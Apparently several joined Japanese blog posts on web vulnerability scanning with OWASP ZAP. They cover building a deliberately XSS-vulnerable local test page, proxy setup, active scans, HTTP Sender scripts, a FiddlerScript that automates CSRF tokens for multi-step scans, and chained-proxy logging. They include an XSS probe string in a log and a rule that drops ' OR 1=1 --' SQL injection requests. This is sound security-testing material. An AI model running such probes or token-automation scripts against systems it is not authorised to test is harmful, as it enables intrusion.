ある方から質問を受けたのもあり、OWASP ZAPの基本的な使い方(手動診断編)の続編として、「環境構築からテストサイトを構築して動的スキャンでXSSなどを検出するまで」の手順を解説してみます。

OWASP ZAP初心者が基本的な動的スキャン検査を行えるようになるまでの手順、という位置づけです。

ここでは、Windows環境で、XAMPPとOWASP ZAPを一からセットアップするという形で解説します。(Win以外の環境や、XAMPP以外の環境を使いたい方は適宜ご自身の環境に合わせて読み替えてください)

■Windwows環境でXAMPPを使ったテストサイトの構築


まず注意点ですが、普通にインターネット上に公開されているサイトにOWASP ZAPの動的スキャンなどをかけたら、サイバー攻撃と見なされて最悪通報されてしまうため、OWASP ZAPで診断を行う対象は「自己の管理下にあるサイト」である必要があります。

つまり、OWASP ZAPの使い方を習得するにあたっては、ローカル環境や社内LAN上に「練習用の診断対象サイト」(いわゆるわざと脆弱性を持たせた「やられサイト」)を構築することがまず必要です。

「やられサイト」にはOWASP Mutillidae 2などがありますが、「やられサイト」のインストール・使いこなしはそれはそれでやや敷居が高い面があり、何かしらサイトを構築した経験があるのであれば、「検出したい脆弱性があるサイト」をローカル環境に自力で作ってしまうのが一番敷居が低い・手っ取り早いように思うので、ここではその手順で説明します。

1.XAMPPのインストール

XAMPPダウンロードサイトよりWindows向けXAMPPをダウンロードし、インストールします。

インストール時の手順については、特に難しい設定はないと思いますので、図などは割愛します。基本的にデフォルトの設定で「次へ」で進んでいけばインストールが完了します。

XAMPPインストール完了後、「スタート」-「XAMPP」-「XAMPP Control Panel」を選択するとXAMPPのコントロールパネルが起動します。

XAMPPのコントロールパネルで「Apache」のところにある「Start」のボタンを押下すると、Apacheが起動し、ブラウザから「http://localhost/」にアクセスすると、XAMPPのApacheが動作していることを表す「Welcome to XAMPP for Windows 5.6.28」等の表記があるページが表示されます。



もし、XAMPPのコントロールパネルで「Apache」のところにある「Start」のボタンを押下してエラーになる場合は、80ポートを別のアプリケーションが使っている可能性があります。

例えば、Skypeが起動している場合、Skypeはデフォルトでは80ポートを使うためエラーになります。この場合Skypeのオプションで80ポートではなく別のポートを使うように設定するオプションがありますので、その設定でSkypeが80以外の別のポートを使うように設定してください。
参考:Skype が占有するポート 80 を変更する方法

2.脆弱性診断用テストサイトの構築

検出したい脆弱性のある動的ページを作成します。

環境がXAMPPなので、単純なXSSのあるサイトをphpなどで作ればよいのですが、本手順では、Hack Your Design!様が公開しているXSS脆弱性のあるPHPコード簡易サンプルが1ソースでシンプルなので、こちらを利用させていただきます。
(自分自身にPOSTするフォームで、POST値がそのままページ上に表示される、というサンプルソースです)

上記サイトのサンプルコードをXAMPP内のApacheのドキュメントルート(デフォルトでは「C:\xampp\htdocs」下)に、test.phpなどの名前で保存し、ブラウザから「http://localhost/test.php」というURLにアクセスし、POSTを行い、ちゃんとサンプルサイトがPHPとして動作していれば、ZAP練習用のXSS脆弱性のあるサイトが完成します。

(この手順のままのXAMPPデフォルト環境だと、「Notice: Undefined index: xss_text in C:\xampp\htdocs\test.php on line 7」のようなメッセージが画面上に表示されるかもしれませんが、特に動作に支障はないのでそのまま放置でも良いですし、気になる場合はphp.iniなどでnoticeレベルのメッセージは表示しないように設定しましょう)

■OWASP ZAPのインストール・ブラウザのプロキシ設定


3.OWASP ZAPのインストール・設定

OWASP ZAPプロジェクトのサイトからWindows版のZAPをダウンロードし、そのままインストールを行います。(本記事執筆時の最新版は2.5.0です)

インストール完了後、OWASP ZAPを起動し、メニューの「ツール」-「オプション」-「ローカル・プロキシ」で、ZAPの待ち受けポートが「8080」になっているのを「7777」などの空いているポートに変更します。
(8080のままでも良いですが、8080ポートは他のアプリケーションとかぶりやすいので、エラーではまるのを防ぐため別ポートにしておいたほうが安全です)


4.ブラウザのプロキシ設定

ブラウザのプロキシ設定でOWASP ZAPの待ち受けポートを指定します。ここではFirefoxでの手順を説明します。

Firefoxのメニューの「ツール」-「オプション」-「詳細」-「ネットワーク」タブの「接続 インターネット接続に使用するプロキシを設定します。」の横の「接続設定...」ボタンを押下します。

出てきたウィンドウで「手動でプロキシを設定する」ラジオボタンを選択し、HTTPプロキシ欄に、ホスト「localhost」、ポート「7777」(ZAPの待ち受けポート)を指定し、「すべてのプロトコルでこのプロキシを使用する」にチェックを入れます。
また、今回のテストサイトがlocalhost上にあるため、「プロキシなしで接続」欄に、「localhost」「127.0.0.1」がある場合は削除します。



■ブラウザで対象サイトにアクセス・動的スキャン実施まで


5.ブラウザで対象サイト操作

4.の手順でプロキシ設定を終えたブラウザで、2.の手順で構築したテストサイトにアクセスを行います。

テストサイトにブラウザからアクセスした際、OWASP ZAPの履歴タブ内にテストサイトへのアクセス履歴が表示されます。(ここではブラウザの通信を、ローカルプロキシであるZAPが中継して通信内容を表示しています。ここでZAPに何も反応がなければブラウザのプロキシ設定やZAPのポート設定などのどこかが間違っています)



テストサイト上のフォームから任意の値(「aaa」など)をPOSTします。二つ目の履歴(「メソッド」が「POST」になっているもの)がZAPの履歴タブ内に記録されます。



ここで安全のための手順として、ZAP左上の「モード」を「標準モード」から「プロテクトモード」に変更します。
プロテクトモードにすると、「コンテキスト」に入れたサイト以外に対しては「攻撃」メニューが実行できなくなり、ZAPからの攻撃対象でなくなります。サイトを「コンテキスト」に入れる方法は次で解説します。



サイトツリーの「http://localhost」を右クリックし「Include in Context」-「規定コンテキスト」を選択し、「セッション・プロパティ」ウィンドウが出るのでそのままOKを押します。





すると、サイトツリーの「http://localhost」に赤い二重丸がつきます。この二重丸が付いているサイトにしかZAPは動的スキャンなどの処理を行わないため、想定外のサイトを攻撃してしまう事故が起こらなくなります。



ZAPの履歴タブの二つ目の履歴(「メソッド」が「POST」になっているもの)をZAP上で右クリックし、コンテキストメニューから「攻撃」-「動的スキャン...」を選択します。



「動的スキャン」ウィンドウの「スコープ」タブで「Starting point」が目的のサイトか念のため確認し、「Show advanced options」チェックボックスをオンにします。すると、「スコープ」以外のタブが表示されます。



「入力ベクトル」タブで「POST Data」にチェックを入れます。



「ポリシー」タブの「インジェクション」で「クロスサイトスクリプティング(反射型)」がThreshold、Strengthともに「規定」になっていることを確認し「スキャンを開始」ボタンを押下します。



スキャンが完了すると、XSSが検出されます。



上記の手順は、テストサイトのPOSTにターゲットを絞ったものでしたが、サイトツリーの「http://localhost」を右クリックして動的スキャンを行うと、ZAPに記録されたlocalhost下の履歴全体に対する動的スキャンが行われ、同様にXSSが検出されます。

(厳密にはサイト全体への動的スキャンは「スコープ」タブで「再帰的」のチェックが入っている必要がありますが、サイトツリーで一番上のノードを選択して「動的スキャン」を選択した場合はデフォルトでチェックが入っています)

ここまでの手順が成功すれば、診断用のテストサイトを構築して、OWASP ZAPの動的スキャンでXSSが検出できたことになります。
SQLインジェクションなど、他の脆弱性を検出したい場合は、その脆弱性のあるテストサイトを作成し、同様の手順で動的スキャンを実施してみてください。


※OWASP ZAPの「クイックスタート」でのスキャンについて

上記手順はブラウザのプロキシを設定するなど、やや手間のかかる手順でした。

OWASP ZAPを起動すると、起動して表示される最初の画面に「クイックスタート」というタブが表示されていて、そこにお手軽に一発でサイトをスキャンできそうな入力欄があります。



なぜこれを使わないのか、と疑問に感じる方もおられるかもしれません。

手順3までの構築が終わり、XAMPP上にあるテストサイトで手動ではXSSが発動できるのに、テストサイトのURLをOWASP ZAPの「クイックスタート」のところにある「攻撃対象URL」欄に入力して「攻撃」を行っても、XSSが検出されません。

OWASP ZAP「クイックスタート」による検査は、対象として入力したURLを起点に「スパイダー」(クローリング)を実施し、その後で「動的スキャン」を実施する機能で、今回のテストサイトのXSSは検出されていいはずなのですが、何でこれが検出されないんだろうと思って調べたところ、「スパイダー」の記録ではちゃんとテストサイトへのPOST(XSS発火点)までクローリングしているのに、なぜか、「動的スキャン」のほうではGETしか見ておらず、検出されないという挙動であることが分かりました。

ZAPの「ツール」-「オプション」-「動的スキャンの入力ベクトル」設定ではちゃんとPOSTまで見る設定になっているのに、GETしか見てないのはおかしいので、またバグなのでは……? という感じなのですが、ちょっと「クイックスタート」でのスキャンは、私自身が今まであまり利用したことがないので、設定が足りていない等あるのかもしれません。(「クイックスタート」でのスキャンはZAPの標準モードでないと実施できないので、誤爆事故が起こりうる設定での全自動検査というのが危険と感じるためあまり利用していません)

ただ、とりあえずインストール直後のZAPのデフォルト設定で気軽に「クイックスタート」でスキャンしてみたところ、検出されるべき単純なXSSが検出できなかったという事象が今回発生したので、サイトへの動的スキャンをかけたい場合には、「クイックスタート」ではなく、本稿で説明したような「ブラウザにプロキシ設定を行って、そのブラウザでサイトを見て回り、ZAPに記録された履歴に対しての動的スキャン」という手順のほうが確実とは言えそうです。
(解説に含めませんでしたが、ブラウザでサイトを見て回った後、ZAPの「スパイダー」機能を使ってクローリングを補強しても良いと思います)

「クイックスタート」での不検出問題については、後日時間があったら調べてバグだったらまたGithubに報告を挙げておきます。


※本稿のOWASP ZAPでの動的スキャンの手順は、「脆弱性診断ええんやで」講師松本さんから教えてもらった内容をベースにしています。
https://security-testing.doorkeeper.jp/

中編からの続きです)

・実験3:ZAP HTTP SenderスクリプトにFiddlerスクリプトの小技を移植する

実験2の調査結果により、ZAPのHTTP Senderスクリプトは、ZAPが送受信するすべてのリクエストに干渉することができるようなので、これを使えば、ZAP+Fiddlerで行っていたような細かい挙動の変更をZAP単体でできるようになるかもしれません。

少し実験して確かめてみます。以下、「前編」のZAP+Fiddlerの小技集と対応しています。

小技1':リクエストに対し一定のウェイト(ディレイ)をかける

HTTP SenderスクリプトをECMAScriptで作成し、sendingRequest関数内に下記のコードを書けば、ZAPが発行するリクエストに対してウェイト(ディレイ)が掛けられます。

function sendingRequest(msg, initiator, helper) {
    java.lang.Thread.sleep(1000);
}

ZAPの動的スキャンのスレッド数を1にし、上記コードと組み合わせることで動的スキャンの各リクエストに対し任意の頻度になるようウェイトをかけることが可能になります。

小技1-1':動的スキャン以外のリクエストに対してはウェイトをかけない

プロキシでウェイトを掛けるように設定していると、手動で診断対象サイトにアクセスした際に、大量の画像や静的コンテンツが読み込まれ、そのリクエストごとに所定のウェイトがかかることでページ遷移がとても重たくなる現象があります。

ZAP+Fiddlerの場合、静的コンテンツなどのリクエストの場合はウェイトをかけないコードにすることでその問題を回避しましたが、ZAPのHTTP Senderスクリプトでは別の解決方法があります。

HTTP Senderスクリプト下にデフォルトのテンプレートでECMAScriptを作成すると、コメント文中に色々と書いてある中に下記のリストが登場します。
// 'initiator' is the component the initiated the request:
//   1 PROXY_INITIATOR
//   2 ACTIVE_SCANNER_INITIATOR
//   3 SPIDER_INITIATOR
//   4 FUZZER_INITIATOR
//   5 AUTHENTICATION_INITIATOR
//   6 MANUAL_REQUEST_INITIATOR
//   7 CHECK_FOR_UPDATES_INITIATOR
//   8 BEAN_SHELL_INITIATOR
//   9 ACCESS_CONTROL_SCANNER_INITIATOR
これは、sendingRequest関数の引数initiatorに、ZAPのリクエストの種別が渡って来るということなので、この値で分岐するIF文を書けば、「普段の手動ブラウジングの時にはウェイトがかからないが、動的スキャンの場合のみリクエストに指定のウェイトがかかる」というコードにできます。

動的スキャン時のみウェイトがかかるサンプルコード:
function sendingRequest(msg, initiator, helper) {
    print('initiator:'+initiator +' / sendingRequest called for url=' + msg.getRequestHeader().getURI().toString());
    if(initiator==2){
        java.lang.Thread.sleep(5000);
    }
}
sendingRequest関数に上記のように書くと、

・手動でのリクエスト時(initiatorに1が渡って来る):
initiator:1 / sendingRequest called for url=http://localhost/zaptest/test.php?aaa=ccc
→ウェイトが全くかからない

・動的スキャン時(initiatorに2が渡って来る):
initiator:2 / sendingRequest called for url=http://localhost/zaptest/test.php?aaa=0W45pz4p
→ウェイトが1リクエストごとに5秒かかる(サンプル通りThread.sleep(5000)を指定していた場合)

小技2':基本認証を通す

アクセス先ホストがlocalhostの場合のみ、Authorizationヘッダを付けるサンプルコード:
function sendingRequest(msg, initiator, helper) {
    host = msg.getRequestHeader().getURI().getHost();
    print('host:'+host);
    if(host=='localhost'){
        msg.getRequestHeader().setHeader("Authorization", "Basic XXXXXX");
    }
}

小技3':特定のホストに対しては特定のプロキシを通す

ZAPのスクリプトから外部プロキシ設定を変更する手段が見つからなかったので、これを実現するコードは作成できませんでした。

小技4':ZAPが投げる危険な文字列をZAPのHTTPSenderでDROPする(サンプルコード)

Fiddlerスクリプトでは偽のレスポンスを返すという手段で防止していましたが、ZAPのHTTPSenderではリクエストを差し止めて投げないという方法が見つからなかったので、127.0.0.1にリクエストを向けるというやや力技で解決しました。
(たぶんリクエストを差し止めて投げない方法はちゃんと存在すると思うので、見つけられたら修正します)
function sendingRequest(msg, initiator, helper) {

    var reqhead = msg.getRequestHeader().toString();
    print('reqhead:'+reqhead+"\n\n");
    var reqbody = msg.getRequestBody().toString();
    print('reqbody:'+reqbody);

    if (reqhead.indexOf(' OR 1=1 --') > -1 || reqhead.indexOf('%20OR%201=1%20--') > -1
        ||reqbody.indexOf(' OR 1=1 --') > -1 || reqbody.indexOf('%20OR%201=1%20--') > -1) {

        msg.getRequestHeader().setURI(new org.apache.commons.httpclient.URI("http://127.0.0.1", false));
        msg.getRequestBody().setBody(""); 
    }
}

・実験5:ZAP+ZAP 多段プロキシ構成を試してみる

OWASP ZAPは起動時に-dirオプションを付けて起動すると、起動ディレクトリを指定して起動することができます。

設定等は起動ディレクトリに保存されるので、同じバイナリを使って設定の違う二つのZAPを多重起動して動作させることが可能です。

前編の冒頭で解説したように、ZAPはログ機能が微妙なので、「ZAP+何か」の形で多段プロキシにしてログを別途記録したほうが良いのですが、FiddlerはWindows環境以外ではα版もしくはβ版であるため、Windows環境以外だとやや導入に不安を感じます。

では、ZAP+Burpだとどうかというと、Burp SuiteがFree版の場合、ログは記録できるものの、そのログをBurpSuiteで改めて読み込むことができないため、何かを調べたいときにGUI上ではなく、ログが全て記録されたテキストファイル内を検索する必要があります。(Burp Suite Professional版であればProjectという形でログの保存・復元が可能なようです)

Burp Suite Professionalが買えず、Win環境以外の場合、三大プロキシの二つがログを記録する用途に適さないので、じゃあZAPの先に別のZAPをもう一つ繋げて、ZAPのログをZAPで記録するというのはどうか? ということで実験してみます。

[ZAP多重起動のための手順(Windows環境)]
1. ZAPの起動ディレクトリを定めます

ここでは仮に
・C:\zaptest\dirtest1
・C:\zaptest\dirtest2
とします。

2. ZAPを起動させるバッチファイルを作成
[zap1.bat]
java -jar zap-2.5.0.jar -dir "C:\zaptest\dirtest1"
pause
[zap2.bat]
java -jar zap-2.5.0.jar -dir "C:\zaptest\dirtest2"
pause

3.ZAPを起動し、それぞれの設定を行います。

※WindowsDefenderが入っている場合、インストールするアドオンの一部がバックドアとして除外対象判定になることがあるので、ZAPの起動ディレクトリをスキャン対象から除外しておく必要があります。

[zap1.batで起動したZAP]
・ヘルプ - アップデートのチェック - マーケットプレイスで「Release」レベルのアドオンを全てインストール(外部プロキシサーバ設定前に実行)
・ツール - オプション - ローカルプロキシの値がlocalhost:8080での待ち受けになっているので、本例では localhost:7771 に変更
・ツール - オプション - ネットワーク - 外部プロキシサーバ利用をオンにし、外部プロキシサーバとして本例では localhost:7772 を設定


[zap2.batで起動したZAP]
・ヘルプ - アップデートのチェック - マーケットプレイスで「Release」レベルのアドオンを全てインストール(外部プロキシサーバ設定前に実行)
・ツール - オプション - ローカルプロキシの値がlocalhost:8080での待ち受けになっているので、本例では localhost:7772 に変更


[ブラウザ]
プロキシサーバとして localhost:7771 を設定


これで、ブラウザでサイトを見るとZAP1、ZAP2それぞれに履歴が記録されます。

[loggerとしてのZAPのテスト]
・ZAP1で(診断して良い)特定サイトに対し動的スキャンを実行し、セッションデータを保存・再読み込みを行ってみると、前編冒頭で書いたように、動的スキャンの結果は残りますが動的スキャンのログが消えてしまいます。
しかし、ZAP2の方ではZAP1の動的スキャンのログが全て「履歴」タブのところに記録されているためログを保存・再読み込みしても記録が消えません。

・また、前編冒頭で書いたリダイレクトの再送信でログが記録されない問題も、ZAP1では記録されませんが、ZAP2ではきちんとindex.php - index2.php - index3.php という遷移が履歴に残るので、ログとして正確な記録がZAP2のほうには残ります。

・逆に、ZAP1の動的スキャンの診断結果(XSSが出た等)は、ZAP2のほうには表示されずログに記録もされないので、動的スキャンの結果に関してはZAP1のほうを確認する必要があります。


このように、ZAP+ZAPで、片方のZAPでログを取るという構成は機能的には問題なく成立しそうな感じでした。

ただ、複数のZAPが立ち上がっていると、どっちがどっちだか分からなくなり、混乱の結果ログ用のZAPで動的スキャンをしてしまったり、見るほうを間違えたり、という事故が起こりそうなので、ログ用ZAPを別PCで立てるなど、何か混乱を防ぐような工夫が必要と思われます。

以上、OWASP ZAPの多段プロキシ構成に関するテクニック紹介、および実験の記録でした。

前編から続く)

以降はZAP+Fiddlerの多段プロキシを利用してどこまでできるか、という実験の記録です。

・実験1:ZAPの動的スキャンを無理やり複数画面遷移に対応させる(ZAP+Fiddler編)

入力-確認-完了という遷移があり、この完了の画面に対して一回ごとに必ず入力-確認という遷移を辿る必要がある場合、この完了画面に対してZAPの標準機能では動的スキャンをかけることができません。

当ブログで少し前に書いていた「OWASP ZAPのスクリプトを作ってみる」シリーズで、入力-確認-完了の遷移が毎回必要になるページへの動的スキャンというのを最終的にやりたかったのですが、できないで終わりました。

OWASP ZAPのスクリプトを作ってみる part9の末尾で

残件として、ZAPのスクリプトで複数画面遷移+動的スキャンができなかったのが心残りですが、とあるアドオンでできる可能性があるという情報を入手したので、今後時間ができたらそれについて調べて、できるようなら続きを書きます。


こう書いたので、今回はこれについての調査結果報告でもあります。

ZAPのマーケットプレイスで配布しているアルファ版の「sequence」というアドオンを導入すれば、複数画面遷移しつつ動的スキャンを実行、というのができそうという情報があってしばらく調べていたのですが、アルファ版なせいなのか、少なくとも私の環境ではどうもうまくそのようには動作しませんでした。

(プラグインを操作し画面遷移A-B-Cを登録して、動的スキャンを実施すると、1診断ごとにA-B-Cと遷移するようなログが表示されたが、実際にはA-B-の遷移はZAP内のキャッシュを読んでるだけで実際にリクエストしに行かないという挙動だったので使えなかった)

このプラグインの検証をしているうちに、ZAPで毎回複数画面遷移しつつ動的スキャンを実行というのを一度実現してみたい、という気持ちになってきたので、じゃあ試しにFiddlerスクリプトでゴリゴリ遷移を書いて実現したらどれくらい手間なのか、というのをやってみました。

結果が以下のスクリプトになります。

まず、複数画面を遷移するようなサンプルサイトが必要になるので、そのサンプルサイトを用意しました。
サンプルサイトのPHPソースは以下です。

https://sites.google.com/site/secmemofiles1452/cabinet/csrftest_forseq.zip

これをXAMPPなどPHPが実行できる環境に乗せれば複数画面遷移が必要なサンプルサイトになります。

サンプルサイトのページ構成は index.php(入力) - confirm.php(確認) - complete.php(完了)で、それぞれの遷移でそのページで発行されるCSRF防止用トークンが必要になります。

complete.php(完了)画面には、POST値を表示する箇所にXSS脆弱性が仕込んでありますが、これを検出するためには、CSRFチェックエラーにならずindex.php(入力) - confirm.php(確認) - complete.php(完了)と正しい遷移を行う必要があります。

このページ遷移に対応したFiddlerScriptを書いてみました。

「complete.php(完了)」へのアクセス発生時に、FiddlerScript側でindex.php(入力) - confirm.php(確認)へのアクセスを発行し、必要な値を取得して「complete.php(完了)」へのリクエストの値を上書きする、という感じです。
(セッションIDは付け替わるのでオリジナルのリクエストとは別ものになります)

以下がそのコードです。
// 複数画面遷移(マルチステップ)用関数
static function customMultiStep(url){

    // アクセスしようとしているURLが、複数画面遷移が必要なページであれば
    var sTargetUrl = 'localhost/csrftest_forseq/complete.php';
    if(url!==sTargetUrl){
        return false;
    } else {
        /* ターゲットのページにアクセスする前にpage1にアクセスし
           必要情報(PHPSESSID, anticsrftoken)を取得 */
        var oPage1ReqHeader: HTTPRequestHeaders = new HTTPRequestHeaders(
            /* Page1URL */
            "http://localhost/csrftest_forseq/",
            /* RequestHeader */
            [
            'Host: localhost',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0',
            'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language: ja,en-US;q=0.7,en;q=0.3',
            'Connection: keep-alive',
            'Upgrade-Insecure-Requests: 1']
            );

        /* HTTPMethod */
        oPage1ReqHeader.HTTPMethod = "GET";

        var sPhpSes = '';
        var sPage1AntiCsrfTkn = '';
                
        var arResp = sendReqestForMulti(oPage1ReqHeader,[]);
        if(arResp!=false){

            // PHPSESSIDを取得
            var arPhpSes 
                = arResp[0]["Set-Cookie"].match(/PHPSESSID=(.*); path=/i);
            if(arPhpSes.length > 1){
                sPhpSes = arPhpSes[1];
            }

            // anticsrftoken(CSRF防止用トークン)取得
            var sPage1ResBody = arResp[1];
            var sPage1AntiCsrfTkn_RegEx =/input type=\"hidden\" name=\"anticsrftoken\" value=\"(.*)\"/i;
            var arPage1AntiCsrfTkn = sPage1ResBody.match(sPage1AntiCsrfTkn_RegEx);    
            if(arPage1AntiCsrfTkn.length > 1){
                sPage1AntiCsrfTkn = arPage1AntiCsrfTkn[1];
            }
        } else {
            return false;
        }
                
        /* ターゲットのページにアクセスする前にpage1の情報を使って
            page2にアクセスし、必要情報(anticsrftoken)を取得 */
        var sPage2Param = 'anticsrftoken='+ sPage1AntiCsrfTkn +'&name=Test+Taro&address=Test+Street+12345';
        var bPostParam: byte[] = System.Text.Encoding.UTF8.GetBytes(sPage2Param);
            
        var oPage2ReqHeader: HTTPRequestHeaders = new HTTPRequestHeaders(
            /* Page2URL */
            "http://localhost/csrftest_forseq/confirm.php",
            /* RequestHeader */
            [
            'Host: localhost',
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0',
            'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
            'Accept-Language: ja,en-US;q=0.7,en;q=0.3',
            'Referer: http://localhost/csrftest_forseq/',
            'Cookie: PHPSESSID='+sPhpSes,
            'Connection: keep-alive',
            'Upgrade-Insecure-Requests: 1',
            'Content-Type: application/x-www-form-urlencoded',
            'Content-Length: '+bPostParam.length.ToString()]
            );

        /* HTTPMethod */
        oPage2ReqHeader.HTTPMethod = "POST";
               
        var sPage2AntiCsrfTkn = '';
            
        //Send Request
        var arResp = sendReqestForMulti(oPage2ReqHeader,bPostParam);
        if(arResp!=false){
            var sPage2ResBody = arResp[1];
            var sPage2AntiCsrfTkn_RegEx =/input type=\"hidden\" name=\"anticsrftoken\" value=\"(.*)\"/i;
            var arPage2AntiCsrfTkn = sPage2ResBody.match(sPage2AntiCsrfTkn_RegEx);    
            if(arPage2AntiCsrfTkn.length > 1){
                sPage2AntiCsrfTkn = arPage2AntiCsrfTkn[1];
            }
        } else {
            return false;
        }
        return [sPhpSes,sPage2AntiCsrfTkn];
    }
}

// マルチステップ用リクエスト送信関数
static function sendReqestForMulti(oRQH, bPostParam){
    var oSD = new System.Collections.Specialized.StringDictionary();
    var newSession =
FiddlerApplication.oProxy.SendRequestAndWait(oRQH, bPostParam, oSD,
null);
    if(200 == newSession.responseCode){
        var arResHeaders = newSession.oResponse.headers;
        var sResBody = newSession.GetResponseBodyAsString();
        return [arResHeaders,sResBody];
    } else {
        return false;
    }
}

static function OnBeforeRequest(oSession: Session) {

    /* Multi Step */
    var arMultiFuncRet = customMultiStep(oSession.url);
    if(arMultiFuncRet !== false){
        var sBody=oSession.GetRequestBodyAsString();                                                    
        sBody=sBody.replace(/anticsrftoken=[^&]*&/i,"anticsrftoken="+arMultiFuncRet[1]+"&");
        oSession.utilSetRequestBody(sBody);

        var sCookie = oSession.oRequest["Cookie"]; 
        sCookie = sCookie.Replace("PHPSESSID=", "ignorePHPSESSID="); 
        sCookie = sCookie + ";PHPSESSID="+arMultiFuncRet[0];
        oSession.oRequest["Cookie"] = sCookie; 
    }

    ・
    ・
    ・
   (以後、OnBeforeRequestのもとの内容)

コードの解読は難しくないと思うので、コードの詳細な解説は割愛します。
* 記事公開時sendReqestForMulti関数が欠けていました。すみません。

このコードをFiddlerScriptに追加し、localhost/csrftest_forseq/complete.php にアクセスすると、Fiddler上で

・complete.php へのリクエストが表示されるが、それが待ちになっている間に index.php, confirm.php へのアクセスが発生し、それからcomplete.php へのリクエストが完了する。
・complete.php へのリクエストを見ると、オリジナルのPHPSESSIDがignorePHPSESSIDにリネームされ、FiddlerScript内でアクセスされたindex.php, confirm.phpの遷移時に発行されたPHPSESSIDがcomplete.php へのリクエストヘッダに追加されている

というようなログが発生します。

(ログの出方がcomplete.php - index.php - confirm.php という順で前後して出ます。あと何故かFiddlerScriptからアクセスしたURLが http:// からのフルパスで出力されます)


この状態で、complete.phpに対するPOSTをターゲットに、ZAPから動的スキャンを実行すると、1リクエストのたびにindex.php, confirm.php へのアクセスを行い、正しい遷移を行いながらcomplete.phpのPOST値を診断するという処理が実現できます。

Fiddler:

ZAP(XSS検出):


この複数画面遷移用のFiddlerScriptは、完全にサンプルサイト用に特化したコードですが、他の画面遷移に応用するときに書き換える箇所は、リクエストヘッダ(正規アクセス時のを配列にコピペ)と、レスポンスに含まれるどの値を取得するかの正規表現ぐらいなので、他サイトへの転用はそこまでは難しくないのではと思います。(とはいえ手間ですが)


・実験2:ZAPの動的スキャンを無理やり複数画面遷移に対応させる(ZAP HTTP Sender編)※失敗

実験1により、FiddlerScriptを使ってゴリゴリ書けば、一応複数画面遷移が必要なページへの動的スキャン実施ができることが分かりました。
ただ、いちいち対象のページに合わせて正規表現やらリクエストヘッダやらを書くのは非効率的なので、もうちょっと効率的な方法が欲しいところです。

ZAPのZestスクリプトであれば、遷移に必要な値を取得しつつ複数画面遷移を行うという処理が簡単に書けるので(このあたりの記事参照)、それを動的スキャン時に適用できれば良いはず、と思って、調べてみたところ、ZAPスクリプトの「HTTP Sender」の処理が使えそうなことが分かりました。

HTTP Senderスクリプトのサンプルを動かす

ZAPを起動し、サイトツリーの上部にある「サイト」タブの隣の「スクリプト」タブを開き(※)、「HTTP Sender」カテゴリを選択します。


※インストール直後のデフォルトのZAPでは「スクリプト」の機能が組み込まれていないので、「スクリプト」タブが表示されていない場合は、ZAPの[ヘルプ]-[アップデートのチェック]-[マーケットプレイス]で「Script Console」というアドオンおよび「Zest - Graphical Security Scripting Language」アドオンを導入してください。

ZAPの画面右下の「インフォメーション」の領域に下記のような英文が書いてあります。

HTTP Sender scripts run against every request/response sent/received by ZAP.

This includes the proxied messages, messages sent during active scanner, fuzzer, ...


You must enable them before they will be used.


HTTP SenderスクリプトはZAPが送受信するリクエスト/レスポンスに対し動作するということで、動的スキャンに対してスクリプトの処理を実行させたい場合は、HTTP Senderスクリプトを書くのが良いことになります。

本当に動的スキャンでZAPが発行するリクエストにこのスクリプトが干渉できるかどうか、組み込まれているサンプルで確かめてみます。

ツリーのHTTP Senderカテゴリを右クリック-新規スクリプトで ScriptEngine「ECMAScript」、テンプレート「HTTPSender_Default_template.js」で任意の名前でサンプルスクリプトを作成し、そのスクリプトを有効にしてからスキャンしてよい対象サイトに対し動的スキャンを実行してみると、サンプルスクリプトに含まれる下記2ファンクションが動作することが確認できます(※)。
「sendingRequest」がリクエスト送信時、「responseReceived」がレスポンス受信時に動作します。

※注意「<eval>:2 ReferenceError: "println" is not defined:29 ReferenceError: "println" is not defined」のようなエラーが出る場合は、コード中の「println」を「print」に書き換えてスクリプトを保存し、スクリプトを再有効化してください。

[HTTP Sender スクリプト](テンプレートから新規作成した状態の初期コード)
function sendingRequest(msg, initiator, helper) {
 // Debugging can be done using println like this
 println('sendingRequest called for url=' + msg.getRequestHeader().getURI().toString())
}

function responseReceived(msg, initiator, helper) {
 // Debugging can be done using println like this
 println('responseReceived called for url=' + msg.getRequestHeader().getURI().toString())
}
正常にスクリプトが動作している場合、ZAP右上のワークスペース下段に
sendingRequest called for url=http://localhost/zaptest0W45pz4p/csrftest_forseq/index.php
responseReceived called for url=http://localhost/zaptest0W45pz4p/csrftest_forseq/index.php
sendingRequest called for url=http://localhost/'%22%3Cscript%3Ealert(1);%3C/script%3E/csrftest_forseq/index.php
responseReceived called for url=http://localhost/'%22%3Cscript%3Ealert(1);%3C/script%3E/csrftest_forseq/index.php
sendingRequest called for url=http://localhost/zaptest/0W45pz4p/index.php
responseReceived called for url=http://localhost/zaptest/0W45pz4p/index.php
例えばこのような感じで、動的スキャン中でのリクエストURL、レスポンスURLがデバッグ的に出力されます。

複数画面遷移+動的スキャンをHTTPSender、Zestスクリプトで実現してみる ※失敗


このように動的スキャン中にスクリプトが動作するのであれば、うまく処理を書けば複数画面遷移+動的スキャンが実現できそうです。

・・・と思って少しやってみたのですが、うまく動作させることができませんでした。

Zestスクリプトで、上記のFiddlerScriptと同じロジックを組もうとして、complete.phpにアクセスがあったら、index.phpとconfirm.phpにアクセスして必要な値を変数に格納、というところまでは実現できましたが、そこから先がうまく実現できず、問題を解決する手段も調べが付かなかったので、今回は諦めることにしました。
(もしかしたら私の知らない情報が隠れていてうまく解決する方法はあるのかもしれませんが、手掛かりが見つけられませんでした)

出た問題:

・complete.phpにアクセスがあったら、index.phpとconfirm.phpにアクセスするというロジックを書いたら、何故かZAPにもFiddlerにも履歴が残らないリクエストが発生。Fiddlerをシステムプロキシとして動作させるモードにしたらその通信を捕捉できた。おそらくZest内部からの通信がZAPに設定されているプロキシ設定を使わないで直で繋ぎに行ったせいと思われる。(バグ?→再現させてバグ報告しようとしたが単にZestから外部URLに接続しに行くだけでは再現されず。complete.phpへのリクエストだけはFiddlerに捕捉されていたのでプロキシ設定ミスでもないし…再現条件不明な現象のためいったん削除します)
・complete.phpへのリクエスト時に、Zestスクリプト側でindex.php, confirm.phpへのリクエストを行うと、その後の処理で、complete.phpを指すポインタが失われてしまう(オリジナルのリクエストの値を改変して処理をZAPに戻したいが、オリジナルのリクエストの取得・改変などの方法が不明)


